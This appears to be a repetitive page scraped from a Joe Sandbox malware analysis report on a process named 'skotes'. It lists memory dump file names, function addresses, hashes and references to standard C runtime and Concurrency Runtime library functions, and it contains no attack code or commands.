Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a235eae71c087b3c2c9bee024122560fc48c3ca584fbe52fdc61cff7f6e72e7c
Instruction ID: f13a604cbde6df59e000627057bcd53559fbce44a5cf2c25893a4e18088f2f3e
Opcode Fuzzy Hash: a235eae71c087b3c2c9bee024122560fc48c3ca584fbe52fdc61cff7f6e72e7c
Instruction Fuzzy Hash: 43510276601A82AFDB2C8F16D849B7A7FA6FF50308F14452DE8C187290F771AD80CB90

Function 005E4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 005E4C66
TypeidsEqual.LIBVCRUNTIME ref: 005E4C8B
PMDtoOffset.LIBCMT ref: 005E4CA1
PMDtoOffset.LIBCMT ref: 005E4D22

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 9ce3b897b36bbcf7a87ea18d21f80139bc687f9b27743ca64c9b8cbbe4b9dae0
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: D9517835A0428A9FCB19CF6ACA806EEBFF4FF55354B14449AE891A7351D332A9058F90

Function 005DDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005DDB64

Part of subcall function 005D8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 005D8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 005DDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 005DDBE9
Concurrency::location::_Assign.LIBCMT ref: 005DDC56

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 4c21f79c86158d253a5b557adc17c9158f844ee5d7936a02dc940e9dbde8ea93
Instruction ID: 24af3ad6ad1a95d2bc71dbefdc4b4f91196d5932edc959990c871a27bfd02740
Opcode Fuzzy Hash: 4c21f79c86158d253a5b557adc17c9158f844ee5d7936a02dc940e9dbde8ea93
Instruction Fuzzy Hash: 7B41C570604215ABDB29AB28C88ABADBF75BF84310F04405FE5069B392CB74AD45C7A1

Function 005D56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 005D56F2
_InternalDeleteHelper.LIBCONCRT ref: 005D5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 005D578B
SafeRWList.LIBCONCRT ref: 005D579A

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: e81447e41dd805f838fd95bd2d31f1903077793acb2853ec865a677e18c9850f
Instruction ID: 3053af6998af84cbdb3e100b088a8fbb5b18d745f2242e033c7eaf63e2ef6cdc
Opcode Fuzzy Hash: e81447e41dd805f838fd95bd2d31f1903077793acb2853ec865a677e18c9850f
Instruction Fuzzy Hash: 923133367002108FDF259F24C881EAD7BA6FFC8750F18417AE9069B391EF70AD008B90

Function 005D2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 005D2D0F

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: d603f5e904fa3ce1540025e0a75000b0d5bb5a7eaea30d5ce81e0df80c31979b
Instruction ID: c6c836846bf43dc6e1963b216f0496ad1cd0706b7267b71187cf4e5ed152d73d
